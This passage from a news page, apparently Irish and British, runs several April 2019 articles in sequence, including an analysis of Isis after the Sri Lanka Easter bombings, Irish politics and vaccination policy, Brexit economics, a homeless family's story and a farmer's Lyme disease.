which over the last forty years have produced al-Qaeda and its clones, of which Isis is the most famous and most dangerous. Governments deny that they are in any way responsible for Isis staying in business and point to the western-backed offensives against it which led to the last piece of the Islamic State being over-run on 23 March. Sri Lanka: Scene of the bomb attacks and aftermath Show all 38 1 /38 Sri Lanka: Scene of the bomb attacks and aftermath Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan Special Task Force officers raid a house following an explosion in capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A blood-spattered statue of Jesus Christ while crime scene officials inspect the site of a bomb blast, as the sun shines through the blown-out roof, inside St Sebastian's Church in Negombo Reuters Sri Lanka: Scene of the bomb attacks and aftermath A police officer inspects the damage after a bombing at the Shangri-La Hotel in Sri Lankan capital Colombo AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan soldiers look on inside the St Sebastian's Church at Katuwapitiya in Negombo following a bomb blast during the Easter service AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman cries next to a coffin of a bomb blast victim. A series of eight devastating bomb blasts ripped through high-end hotels and churches holding Easter services in Sri Lanka on April 21, killing more than 300 people AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath People who live near the church that was attacked the day before, leave their houses as the military try to defuse a suspected van before it exploded in Colombo Reuters Sri Lanka: Scene of the bomb attacks and aftermath Shoes and belongings of victims are collected as evidence at St Sebastian's Church AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan police were forded to clear an area while Special Task Force Bomb Squad officers inspected the site of an exploded van near a church the day after it was attacked Reuters Sri Lanka: Scene of the bomb attacks and aftermath The Kingsbury Hotel in Colombo, Sri Lanka following a bombing AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Queues at the National Blood Bank in Colombo, Sri Lanka after a request for blood to aid in recovery efforts Mr Lavasquabble/Twitter Sri Lanka: Scene of the bomb attacks and aftermath Medical response team work to remove dead bodies from the scene of bombings in Sri Lankan capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan security personnel inspect the debris of a car after it exploded when police tried to defuse a bomb AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Security personnel work at the scene of a bombing at a church in Batticaloa in Sri Lanka AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman is helped near St Anthony's Shrine after a blast in Colombo, Sri Lanka, on Sunday 21 April 2019. At least 130 people were killed and more than 500 hospitalised after near-simultaneous explosions hit three hotels and three churches on Easter Sunday. AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan police officers clear the road as an ambulance drives through carrying injured of church blasts in Colombo, Sri Lanka, on Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan soldier stands guard near a car explosion AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman prays at St. Sebastian's Church in Negombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Priests stand inside St Anthony's Shrine, Kochchikade church on the outskirts of Colombo after a bombing Reuters Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan woman living near St. Anthony's shrine runs for safety with her infant after police found explosive devices in a parked vehicle in Colombo AP Sri Lanka: Scene of the bomb attacks and aftermath People react during a mass for victims, two days after a string of suicide bomb attacks on churches and luxury hotels Reuters Sri Lanka: Scene of the bomb attacks and aftermath Security personal react as a device was detonated in a controled explosion in a van near the St Anthony's Church EPA Sri Lanka: Scene of the bomb attacks and aftermath Security forces inspect the scene of a bombing at the Shangri-La Hotel in Sri Lankan capital Colombo Getty Sri Lanka: Scene of the bomb attacks and aftermath The Kingsbury hotel in Colombo, Sri Lanka after a bombing attack Getty Sri Lanka: Scene of the bomb attacks and aftermath The damaged interior of a church in Negombo, Sri Lanka following a bombing attack Reuters Sri Lanka: Scene of the bomb attacks and aftermath Police and security personnel stand guard outside the Shangri-La Hotel in Sri Lankan capital Colombo following a bombing attack EPA Sri Lanka: Scene of the bomb attacks and aftermath Debris is seen at St Anthony's Church in this still image from video footage after explosions hit churches and hotels in Colombo, Sri Lanka, on 21 April 2019 Derana TV/via Reuters Sri Lanka: Scene of the bomb attacks and aftermath Damage inside a church following a bombing attack AP Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan Special Task Force officer scales a house during a raid following an explosion in capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A general interior view showing damage after an explosion hit St Anthony's Church in Kochchikade, Colombo, Sri Lanka, on Sunday 21 April 2019 EPA Sri Lanka: Scene of the bomb attacks and aftermath Priests walk into St Anthony's Shrine Kochchikade church after an explosion in Colombo, Sri Lanka, on 21 April 2019 Reuters Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan police officer stands outside St Anthony's Shrine in Colombo, Sri Lanka, after a blast on Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath A shoe of a victim is seen in front of the St Anthony's Shrine, Kochchikade Church Reuters Sri Lanka: Scene of the bomb attacks and aftermath Local and security officials gather at the scene at St Anthony's Church in Kochchikade, Colombo, Sri Lanka EPA Sri Lanka: Scene of the bomb attacks and aftermath An ambulance is seen outside the church premises with gathered security personnel following a blast at St Anthony's Shrine in Kochchikade, Colombo, on Sunday 21 April 2019 AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Armed policemen patrol the area after an explosion hit at St Anthony's Church in Kochchikade in Colombo, Sri Lanka, 21 April 2019 EPA Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan Army soldiers secure the area around St. Anthony's Shrine after a blast in Colombo, Sri Lanka, Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan security personnel keep watch outside the church premises following a blast at the St Anthony's Shrine in Kochchikade, Colombo, on Sunday 21 April 2019 AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Police officers inspect the scene after an explosion hit at St Anthony's Church in Kochchikade in Colombo, Sri Lanka, 21 April 2019 EPA As a territorial entity Isis has been eliminated, but that does not mean that it cannot carry out guerrilla and terrorist attacks, as has happened in the last few months in Iraq and Syria. These are little reported because they take place in the vast deserts on the Iraq-Syrian border or they target regimes we do not like, such as the Syrian government in Damascus. Isis was born out of war. In 2001, at the time of 9/11, al-Qaeda out of which Isis was to emerge consisted of a network of fanatics and a few hundred fighters in camps in Afghanistan. They were so few that they had to hire local Afghan tribesmen to fill out their numbers in propaganda videos. It was the invasion and occupation of Iraq in 2003 that turned the al-Qaeda franchise in Iraq under Abu Musab al-Zarqawi into a powerful military movement. When forced out of its strongholds by a reinforced US presence and weakened by opposition from within the Sunni Arab community in 2007, al-Qaeda in Iraq retreated to its hideouts, waiting for better times. These were not long in coming with the advent of the Syrian civil war in 2011 which the movement had the resources in men and weapons, to turn to their advantage. I remember Iraqi leaders in Baghdad telling me in 2012/13 that unless the war in Syria was quickly brought to an end, it would reignite the insurgency in Iraq. They were soon proved right. Isis, as it was now called, astonished the world by emerging from its fastnesses to capture Mosul in 2014 and sweep through western Iraq and eastern Syria. Western powers certainly wanted to defeat Isis but also did not want to do anything that would enable rivals and opponents Russia, Iran and Bashar al-Assad to win a clear victory in the Syrian war. They demanded that Assad go long after it was obvious that he was going to win after receiving Russian military support in 2015. Stirring the pot in Syria in order to thwart Russia, Iran and Assad was much in the interests of Isis which could exploit the fact that opposition to it was fragmented. Support free-thinking journalism and attend Independent events Opportunities exist for Isis wherever government authority is weak or non-existent and it can put down roots. When defeat looms in eastern Syria this year, Isis moved thousands of surviving fighters next door into western Iraq. In Mosul and Raqqa, once the de facto Isis capitals in Iraq and Syria, assassinations and suicide bombings have started again. Kurdish-led forces are regularly ambushed. In Syrian government held territory near Palmyra, a series of Isis attacks in April killed 36 and captured ten pro-Assad soldiers. In Iraq, Isis cells are reactivating in Sunni areas that surround Baghdad which, in the not-so-distant past, were the staging posts for the prolonged and devastating suicide bombing campaign that killed thousands. It is probably only a matter of time until Isis succeeds in staging a Sri Lanka type multiple bombing once again in the Iraqi capital. The last big bomb in Baghdad was on 3 July 2016, when a refrigerator truck packed with explosives blew up killing 340 civilians and injuring hundreds more. This should be a moment when the US could do all it can to resist the coming onslaught. Instead Washington is giving priority to pressuring the Iraqi government to impose US sanctions on Iran something that is bound to divide Iraqis and aid Isis. There is a similar pattern across the wider Middle East and North Africa where no less than seven wars, large and small, are being fought in Afghanistan, Iraq, Syria, Yemen, Libya, Somalia and north east Nigeria. These flare up or die down on occasion but they never come to an end. The reason for these wars the true breeding ground for Isis and its kin is that foreign powers have plugged into local civil wars and want to see their proxy either to come out on top or, at worst, avoid defeat. Libya is a good example of this: would be leader of Libya General Khalifa Haftar, backed by Saudi Arabia, UAE, Egypt, France and Russia are fighting a government in Tripoli supported by Qatar, Turkey, Italy, Tunisia and Algeria. Such divisions and rivalries are repeated in conflict after conflict and mean that Isis will always be able to lodge itself somewhere in the chaos. At the same time, one needs to keep a sense of proportion about Isis's capabilities: the atrocities it carries out in Colombo, Baghdad, Paris, Manchester, Westminster and elsewhere are geared to dominate the news agenda, provoke fear and project strength. But none of these things win wars and the defeat of the caliphate earlier this year was real and irreversible. This does not mean that Isis will not try to resurrect itself as a guerrilla movement relying heavily on terrorist attacks on soft targets. It is, at bottom, a military machine led by experienced military men who adapt their strategy and tactics according to circumstances. Talk in the west about cutting Isis off from the social media as if that would be a mortal blow misses the point. Social media may be a powerful tool for Isis but it would survive without it. Savage cult-like movements similar to Isis such as the Nazis in Germany and the Khmer Rouge in Cambodia existed long before the internet and were able to spread their toxic message without use of it.. The only effective way to bring an end to Isis is to end the wars that produced it. A large part of the Middle East and North Africa have become a zone of conflict where international and regional rivalries are fought out through local proxies. So long as that goes on Isis will continue to exist. DUP leader Arlene Foster with Sinn Feins Mary Lou McDonald and Michelle ONeill in St Annes Cathedral, Belfast, before the funeral of Lyra McKee. Photo: Brian Lawless/PA Wire TANAISTE Simon Coveney warned that the only response to "warped dissident and paramilitary thinking" in Northern Ireland following the murder of journalist Lyra McKee (29) is to restore normal government in Belfast. Mr Coveney said he was hopeful in advance of a meeting today in Belfast with Northern Ireland Secretary Karen Bradley that the Derry murder of Ms McKee may prove one of the catalysts to restoring the Stormont executive and prompting compromise and generosity between the various parties in Northern Ireland. Politicians and Church leaders said that would be a fitting legacy to the investigative journalist. Speculation has mounted that both the Democratic Unionist Party and Sinn Fein are now willing to compromise to restore the Stormont executive - with some claiming such resumption talks could begin as soon as late May. "We have always said that the way to respond to that kind of warped thinking that comes from dissidents and from paramilitaries is functioning politics," Mr Coveney said. "Those of us who are committed to that have an obligation to make it work." "That is not easy - it is not easy for political parties in Northern Ireland to do that. Politics in Northern Ireland is challenging, we know that." "It can be very polarised, very partisan and very crude at times." "To come together, to find compromise, to find middle ground positions, to be generous towards competitors isn't easy." Mr Coveney warned against blaming the killing of Ms McKee entirely on the failure to restore the Northern Ireland executive. "I don't think it is correct to make a direct link between a killing which should not have happened and happened because of totally irresponsible rioting on the streets of Derry." "It was a tragedy." "Somebody who was an amazing person has been taken from their family and from many others who she influenced." "(It was) because of dissident Republican activity and reckless behaviour that not only fatally endangered her but also endangered many other people including the PSNI." But he acknowledged that the onus was on the two Governments and Northern Ireland parties to restore proper government to give paramilitaries the best possible answer. "We have seen the consequences over the past two years of the lack of political leadership in Northern Ireland in a structure and functioning executive and functioning Stormont." "This is what we need. The tragedy of the last week will be, I hope, part of the catalyst needed to allow for a new beginning for politics in Northern Ireland." "But it is up to the Governments to work with the parties to make sure we can put a structure in place that can facilitate that." "I am going to Belfast (today) and will be meeting Secretary of State Karen Bradley and hopefully we will have more to say after that." "The governments and all political parties in Northern Ireland are aware that it needs its own Government. We need politics to work in Northern Ireland. We know what happens when politics doesn't work in Northern Ireland and we have seen a tragic example of that in the last week." "The Secretary of State and I, as well as both governments, are aware of our responsibilities. We are co-guarantors of the Good Friday Agreement." "I think it is too early to speculate (on compromises). But I think both governments, in particular, know that we have a responsibility to work together and to give both leadership and structure to help the parties to find a way of re-establishing a functioning Stormont and a functioning executive." The Government is set to consider making vaccination for children mandatory. Health Minister Simon Harris said he had written to the Attorney General Seamus Wolfe to seek his legal advice in relation to the issue of vaccination. It comes as new figures from Unicef showed that the number of measles cases in Ireland increased by more than 200% in the space of a year. This is how to protect your child from danger. For every like or RT, the @gatesfoundation will give $1 to UNICEF, up to $1 MILLION! Help spread the word! #VaccinesWork pic.twitter.com/pp3q24diEV UNICEF (@UNICEF) April 24, 2019 The increase is part of a worldwide trend of rising cases of the disease being attributed to scaremongering and misinformation. Mr Harris said: I feel theres something irresponsible, and that is against the public good, sending an unvaccinated child into to a school or into a creche or into a public place where they can make other children sick. Particularly young babies, who might be too young to actually get vaccinated, could end up with a very significant disease. He added: I understand why mandatory vaccination is a very interesting topic and it is one were looking at. The minister made the comments on Friday at the official opening of Summerhill primary care centre in Dublins north inner city. Expand Close Health Minister Simon Harris and Finance Minister Paschal Donohoe at the official opening of the Summerhill primary care centre in Dublins north inner city on Friday (Michelle Devane/PA Wire) / Facebook Twitter Email Whatsapp Health Minister Simon Harris and Finance Minister Paschal Donohoe at the official opening of the Summerhill primary care centre in Dublins north inner city on Friday (Michelle Devane/PA Wire) Mr Harris said he had asked officials at the Department of Health to examine what other countries had done about vaccination. He said healthcare professionals and policy makers needed to push back against the absolute nonsense that is being disseminated by anti-vaxxers on social media. Vaccinations work but were seeing the impact of the scaremongering, in terms of the rates, not just in this country but in international reports as well, he said. Unicefs most recent report shows that increasing numbers of youngsters around the world are being left unprotected against measles, which can cause disability and death. It found that an estimated 169 million children around the world missed out on the first dose of the measles vaccine between 2010 and 2017 an average of 21.1 million a year. Mr Harris criticised politicians who have raised concerns about the MMR and HPV vaccines. I want to know does every politician in Dail Eireann and Seanad Eireann support the childhood immunisation programme and support the HPV vaccine, he said. He added: We have seen populist nonsense from some members of the Oireachtas. Next week I intend to write to every member of the Oireachtas and I intend to ask them to publicly commit to supporting childhood immunisation vaccination and to supporting the HPV vaccine and boys and girls. Finance Minister Paschal Donohoe said he will listen all the available advice (PA) The Government will consider all of the advice it has received before making a final decision about the National Broadband Plan, Finance Minister Paschal Donohoe has said. It comes as speculation mounts that the Government is set to approve the multi-million euro plan in the next fortnight. Mr Donohoe said the Government had not yet decided whether to proceed with the project. It has gone through a very, very extensive debate and process within the government and with the Department of Communication, he said. No recommendation has been taken to government yet in relation to it, but that will be happening, I believe, soon and Ill be taking account of all the advice and views on that matter when I give my views on it. Only one bidder remains in the process for the contract to deliver high-speed broadband to more than 540,000 homes across the country. Asked whether he had been advised not to go ahead with the plan, Mr Donohoe replied: I have got a lot of different views in relation to this project but I think the imperative thing is that we allow the work that is under way in relation to the broadband plan to come to conclusion. That will he happening and then the Cabinet will be briefed on all of the different issues in relation to it and all of the different opportunities in relation to it. Mr Donohoe made the remarks on Friday at the official opening of the Summerhill primary care centre in Dublins north inner city. Expand Close Finance Minister Paschal Donohoe speaking, with Health Minister Simon Harris (right) at the opening of the Summerhill primary care centre in Dublin (Michelle Devane/PA). / Facebook Twitter Email Whatsapp Finance Minister Paschal Donohoe speaking, with Health Minister Simon Harris (right) at the opening of the Summerhill primary care centre in Dublin (Michelle Devane/PA). He added that the plan had gone through a very extensive tendering process. Were now aware of the many different costs and complexities that are involved in relation to delivering a project of this scale and because of this, Cabinet will be well informed and well placed to make a good decision on what is a really important investment in our countrys future, he said. Earlier this month Taoiseach Leo Varadkar confirmed the roll-out of the National Broadband Plan would cost in the region of three billion euro. It is almost four years since the tender process began. The cost of the project was originally estimated at between 355 million and 512 million euro, but Mr Varadkar has said the cost may end up being many multiples of what was budgeted. Unvaccinated children have been banned from all public spaces in a New York county as the state battles its largest measles outbreak in decades. (stock picture) HEALTH Minister Simon Harris has said it's "irresponsible" to send unvaccinated children to school and that he is seeking the advice of the attorney general on the issue of a mandatory programme of immunisation. Mr Harris also said it's time politicians were "called out" on whether or not they support vaccination programmes. He intends to write to all TDs and Senators next week seeking a public commitment that they support childhood vaccinations. It comes amid growing rates of diseases like measles around the world and British health secretary Matt Hancock saying he wouldn't rule out excluding children who haven't had the MMR injection from schools. Mr Harris previously said he "instinctively" agrees with the suggestion that unvaccinated children should be excluded form schools or creches. This has happened in New York and Italy. At the opening of a new primary care centre on Dublin's northside, Mr Harris was about mandatory vaccination programmes. He said he has written to attorney general Seamus Wolfe to formally seek his legal advice on the issue of vaccination. "We obviously have a written constitution and we need to take legal advice in relation what we can an cant do legislatively in this country." Mr Harris added that no decision has been made and he hasn't consulted his government colleagues on the matter. He said: "I do feel very strongly about it. "I feel there is something irresponsible - that is against the public good - sending an unvaccinated child into a school or into a creche or into a public place where they could actually make other children sick". He said it was a particular risk to babies who might be too young to get vaccinated. He said the Department of Health is examining mandatory vaccinations and the systems in place in other countries. Mr Harris also said: "We need to form an alliance of healthcare professionals and policy makers to push back against the absolute nonsense that is put out by some, often on social media in relation to vaccination. "Vaccinations work but were seeing the impact of the scaremongering in terms of the rates, not just in this country but in international reports as well." He said: "Its time we actually called out our politicians on this question. "I want to know does every politician in Dail Eireann and Seanad Eireann support the childhood immunisation programme and support the HPV vaccine." Mr Harris claimed that there has been "populist nonsense" on vaccines from some Oireachtas members. He will write to all TDs and Senators next week to ask them to publically commit to supporting childhood immunisation and the HPV vaccine for girls and boys. He said he recently attended the funeral of a woman who died from cervical cancer, Laura Brennan, and the HPV vaccine wasn't available when she was in school. Mr Harris said that if it had been, "Laura might have been with us today." From left to right, Paul Ennis, Malcolm Brighton and the late Feargal Quinn Since news of his death broke, Superquinn founder Feargal Quinn has been praised for his incredible influence on Irish business and political prowess, but he has also been remembered as an intrepid adventurer. In January 1970, Mr Quinn decided to attempt flying a gas-filled balloon from his supermarket car park in Sutton, Co Dublin to Morecambe Bay in Britain. He was attempting to be the first person to cross the Irish Sea by balloon, with previous attempts at the crossing going as far back as 1785. It was dubbed 'The Greatest Supermarket Promotion Ever' and was expected to take seven and a half hours to complete. Due to take off in the "largest balloon in the world" along with Mr Quinn was English balloon designer Malcolm Brighton and Dubliner Paul Ennis. Malcolm Brighton arrived in Ireland fresh from a successful balloon crossing of the English Channel. He had been involved in several movie projects but was most noted for having built and flown Gert Frobes airship in Chitty Chitty Bang Bang. Among his favourite passengers were John and Yoko Lennon. Speaking to Independent.ie about the planned adventure, Paul Ennis said their record-breaking feat unfortunately met a number of obstacles along the way. "Feargal launched his project in his inimitable style with a massive in-store competition where customers could win exciting prizes, including holidays, domestic appliances, even a caravan in the build-up to the flight," he said. "The customs in both countries got very anxious about the flight and had to be totally convinced that it was not an attempt to smuggle. "News of Feargals attempt to be up, up and away in his beautiful balloon created a frenzy of interest among balloon enthusiasts. "Soon the competition arrived on our shores. Four Canadian balloonists flew into Dublin laying down a challenge. They offered to put up a prize of $1,000 to make a race of it. Feargal said their challenge for a race sounds very interesting, but we would have to talk over the details. I am quite sure we could beat them." They were raring to go, when late one night the balloon was stolen from the supermarket car park. It was later found by gardai at Howth Head undamaged - and their record-breaking mission was still on. But if someone stealing the balloon doesn't stop you, Irish weather most certainly will. "On February, the weather once again turned foul and it was decided to deflate the balloon. During this action, Malcolm Brighton was overcome by escaping gas and spent an uncomfortable night in hospital." The Canadians who planned to race Mr Quinn and his companions managed to overcome an earlier failure. "They [the Canadians] were led by Captain Ray Munro who planned to use a hot-air balloon. Munro was a former Battle of Britain pilot, photo journalist and founder of the Canadian Aviation Hall of Fame. Then, a third balloonist, filmmaker George Theiss, proposed to fly from Cork to England. To add to this group, it was reported that an Aer Lingus pilot, Michael Alexander, may attempt a crossing from Larne to Stranraer. "Munro accompanied by Norman Jones was the first to set off from Ballyfree, Co.Wicklow to Wales on January 28th. After forty five miles they crash landed in the sea and had to be rescued by the British Air Sea Rescue. "Undaunted by his earlier failure, Canadian Ray Munro secured a replacement balloon and successfully made the Irish sea crossing. Feargal received the news stoically and offered his hearty congratulations to the Canadians." Mr Ennis said he remembers Fearghal "with affection". "We were young men - he was about 33, I was 23 and he would impart nuggets of advice and wisdom to be me. The one I remember most came from his father Eamonn who said 'always open your shop on the sunny side of the street - Shoppers will cross over to the sunny side'." Jodie with son Leon and daughter Dakota Mae outside the camper van A YOUNG family are living in a friends camper van as they face into long term-homelessness despite a full-time wage coming in. Jodie Andrews (23) and her partner Nathan (24) said they are living in the van in Dun Laoghaire with children Leon (7) and Dakota Mae (2) after becoming homeless. They said they have been unable to find anywhere to rent because of the worsening housing crisis. The couple would rather live in the camper van for now than accept a place in emergency accommodation in the city centre as Nathan previously witnessed poor living conditions there. Expand Close Jodie with son Leon and daughter Dakota Mae in the camper van / Facebook Twitter Email Whatsapp Jodie with son Leon and daughter Dakota Mae in the camper van We were about to go to a garda station for the night rather than stay in the emergency accommodation offered to us, Jodie said. But it was freezing last night. We had duvets over us, but it was still very cold. I just cant face taking my kids to stay in the emergency accommodation in the city centre. Someone we know was staying there and Nathan went in to see them. He said there were bloodstains on the bed, the pillowcase had live head lice on it and we heard claims people were smoking crack. I dont want my kids in among that. Nathan works full-time as a valeter, but we cant find anywhere to live. The couple, who are grateful for the use of the van, had recently been staying in a hotel 21km from their sons school in Dun Laoghaire. However, Jodie said they lost their room there after they went to stay with a relative over the Easter holidays. She claimed hotel staff told the family they only needed to tell them they were staying away for the break, but under homeless service rules, Dublin Regional Homeless Executive (DRHE) staff had to be told. My daughter understands too much for her age, that something isnt right, and my son is emotionally drained, said Jodie. I applied for a house on Choice Based Letting. I applied three months ago and all this time later it says still in progress on the application. Weve not heard anything. The house is still advertised up there. I was on to the homeless services and they told me because I limited the places where Id stay, they wont give me any further accommodation. Jodie knows her family would have a better chance if she could work. I feel if we could only get a stable home, then I would be able to get part-time work, she said. I never went to college as I was 15 when I became pregnant. I went on a FAS course in childcare before that. Id love to work but we need help to find a home. The full-time mum said her family have been on the Dun Laoghaire housing waiting list for five years. Dun Laoghaire Rathdown councillor Hugh Lewis said: Here is yet another emergency situation that exposes the deepening crisis in housing, a crisis that is worsening by the week because of central Government policy. At the very least, Jodie and her children should be close to her family supports. I have appealed to the council to meet this most basic of demands. The council would not comment on the familys situation. However, a DRHE spokeswoman said: Contingency emergency accommodation is available and has been offered to this family but they have not taken up the offer. The DRHE does not have any complaints about the facility of the nature you outline. Grief: mourners in Sri Lanka during funerals this week after more than 250 people were killed in coordinated attacks on churches and hotels on Easter Sunday A boy lights a candle after the funeral service of Dhami Brandy, 13, who was killed during Easter Sundays bomb blast at St. Sebastian Church (Manish Swarup/AP) Sri Lankan President Maithripala Sirisena said on Friday police are looking for 140 people believed to have links with the Islamic State group, which has claimed responsibility for the Easter Sunday suicide bombings of churches and hotels Muslims in Sri Lanka were urged to pray at home on Friday and not attend mosques or churches after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence for the bombings that killed 253 people. The U.S. embassy in Sri Lanka also urged its citizens to avoid places of worship over the coming weekend after authorities reported there could be more attacks targeting religious centres. Sri Lanka remains on edge after the suicide bombing attacks on three churches and four hotels that also wounded about 500 people. Nearly 10,000 soldiers were being deployed across the Indian Ocean island state to carry out searches and provide security for religious centres, the military said on Friday. Fears of retaliatory sectarian violence have already caused Muslim communities to flee their homes amid bomb scares, lockdowns and security sweeps. The All Ceylon Jamiyathul Ullama, Sri Lanka's main Islamic religious body, urged Muslims to conduct prayers at home on Friday in case "there is a need to protect family and properties". Cardinal Malcolm Ranjith also appealed to priests not to conduct mass at churches until further notice. "Security is important," he said. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Islamic State provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. Read More The extremist group released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black Islamic State flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. The Sri Lankan government said nine homegrown, well-educated suicide bombers carried out the attacks, eight of whom had been identified. One was a woman. Sirisena told reporters on Friday some Sri Lankan youths had been involved with Islamic State since 2013. He said information uncovered so far suggested there were 140 people in Sri Lanka involved in Islamic State activities. "Police are looking to arrest them," Sirisena said. Authorities have so far focused their investigations on international links to two domestic Islamist groups - National Thawheed Jama'ut and Jammiyathul Millathu Ibrahim - they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Sirisena said top defence and police chiefs had not shared information with him about the impending attacks. Defence Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. "The police chief said he will resign now," Sirisena said. He blamed Prime Minister Ranil Wickremesinghe's government for weakening the intelligence system by focusing on the prosecution of military officers over alleged war crimes during a decade-long civil war with Tamil separatists. Sirisena fired Wickremesinghe in October over political differences, only to reinstate him weeks later under pressure from the Supreme Court. Opposing factions aligned to Wickremesinghe and Sirisena have often refused to communicate with each other and blame any setbacks on their opponents, government sources say. The Easter Sunday bombings shattered the relative calm that had existed in Buddhist-majority Sri Lanka since a civil war against mostly Hindu ethnic Tamil separatists ended 10 years ago. Sri Lanka's 22 million people include minority Christians, Muslims and Hindus. Until now, Christians had largely managed to avoid the worst of the island's conflict and communal tensions. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary because there could be more attacks. Britain's protracted divorce from the European Union is hurting the world's fifth largest economy as dwindling company investment, signs of a looming labour market shock and poor productivity hinder growth, Goldman Sachs said. The United Kingdom was due to have left the EU on March 29, though Prime Minister Theresa May has been unable to get her divorce deal approved by parliament. Now the new deadline is October 31, more than three years since the 2016 referendum. It is now unclear when, how and even if Brexit will happen. Goldman Sachs said in a note to clients that its base scenario was the divorce deal would be ratified by May 22 but that there was a risk of Britain's exit being delayed until much closer to the new October 31 deadline. "The politics of Brexit have become more protracted and, as a result, the side-effects of Brexit on the UK economy have intensified," Goldman said in a note entitled "Brexit Withdrawal Symptoms". "From both a top-down and a bottom-up perspective, Brexit has taken a toll on the UK economy even though it has not yet happened," Goldman said. It said Britain's economy has underperformed other advanced economies since mid-2016, losing nearly 2.5pc of Gross Domestic Product relative to its pre-referendum growth path, in large part due to weaker investment. Bank of England Governor Mark Carney said in February that Britain had lost around 1.5pc of GDP compared with the central bank's expectations before the referendum. Carney said this month that uncertainty facing British businesses has gone "through the roof" due to Brexit. Capital expenditure by businesses has been particularly subdued, Goldman said, and strong employment data masks a deepening misallocation of resources to labour rather than capital which will ultimately make the economy less efficient. Since the referendum, firms have hired workers rather than invest in capital, Goldman economists said. "BREXIT TAKING A TOLL" Business investment has grown by just 0.3pc in cumulative terms since June 2016, and 2018 was the first year in at least half a century during which business investment contracted in every quarter without a recession, Goldman said. An increasingly tight labour market - with unemployment at its lowest since early 1975 and pay growing at its joint fastest pace in over a decade - could also be a sign of strain rather than resilience. "The balance between weaker demand for workers and a shorter supply of workers bears the hallmarks of a Brexit-induced labour market shock," Goldman economists said. Low investment combined with a tight labour market are likely to hurt the economy's overall efficiency and thus "accentuate the chronic underperformance of UK productivity," they added. Britain's productivity has lagged that of the US, Germany, and France, for the past decade. Business leaders have already triggered contingency plans to cope with additional checks on the post-Brexit UK-EU border they fear will clog ports, silt up the arteries of trade and dislocate supply chains in Europe and beyond. Opponents fear Brexit will make Britain poorer and divide the West as it grapples with both the unconventional US presidency of Donald Trump and growing assertiveness from Russia and China. Brexit supporters say there would be short-term disruption but in the long-term the UK would thrive if cut free from what they cast as a doomed experiment in German-dominated unity and excessive debt-funded welfare spending. "Until the UK's departure from the EU is resolved, it is difficult to have conviction in a strong rebound in growth," Goldman said. "In 2020, with Brexit resolved, we do expect a pick-up in activity as uncertainty abates." Plans by a company associated with billionaire businessman Denis O'Brien to construct a five-floor vertical extension to an office block in Dublin's docklands have been put on hold. Dublin City Council told Jepview Ltd that the planned extension to make Malt House South a nine-storey building on Grand Canal Quay "may be excessive and could potentially have an adverse visual impact". In a request for revised plans from Jepview, the council has said that the planned increase in floors at the building "could be overly dominant and would not sit comfortably above the existing protected structure". The council has asked Jepview to reconsider the scale and mass of the proposed development by the omission of at least one of the proposed additional floors. The council says "a reduction in the scale of the development would likely ensure the proposed upper floor extension is more mannerly in terms of the proportion of old and new on site and as a result will sit more comfortably from the perspectives of visual amenity and best conservation practice". On behalf of Jepview, planning consultant, Kevin Hughes has told the council that the contemporary design of the building "is deliberately different from the historic structure and will enhance the protected structure below it". In a letter to the council, Denis O'Brien confirms that he has part-ownership of the subject site. A farmer whose whole life changed forever when he was bitten by a tick that caused him to catch Lyme disease has warned the farming community that they are the most vulnerable to suffer from the dangerous infection. Edwin Symes, who rears 120 cattle and 400 sheep outside Wicklow town, says that he was bitten by a tick on a forestry plantation he owns in Scartaglen, Co Kerry in 2014 and that the side-effects of the disease impacted his body immediately. "I noticed the bite and the symptoms occurred straight away. I got compulsive night sweats, pains in all my joints and neck and then neurological affects came in. I just wasn't myself." Although Mr Symes wasn't diagnosed in Ireland, he later travelled to Germany where he was diagnosed with Lyme disease. "I've been to every consultant through the country, nobody ever mentioned Lyme, but I knew in my heart it was Lyme." Mr Symes is undergoing regular infusion treatment and is finding herbal therapy helpful but says that he will "probably never be back to himself" and has had to change his farming system as a result of the bite. "I'd a herd of 80 suckler cows and 450 ewes but I had to turn that whole system around when I became ill. I don't lamb anymore or calve. It's all drystock now. I buy lambs in and keep them and sell them off as hoggets. "My workload has had to halve. It's had a huge impact on my farming life. I get on with it." Edwin adds that there are lots of issues with misdiagnosis in Ireland and warned farmers to be aware of the disease as they are most vulnerable to it because they spend the majority of their time outside. "I've met lots of people throughout the farming community who have the disease not to mention foresters and hill walkers. They are all so vulnerable. I hope the disease starts to get better recognition as a lot of people feel they are being ignored." Dr. Jack Lambert, a consultant in infectious diseases at the Mater Hospital told an Oireachtas Committee recently that farmers pick 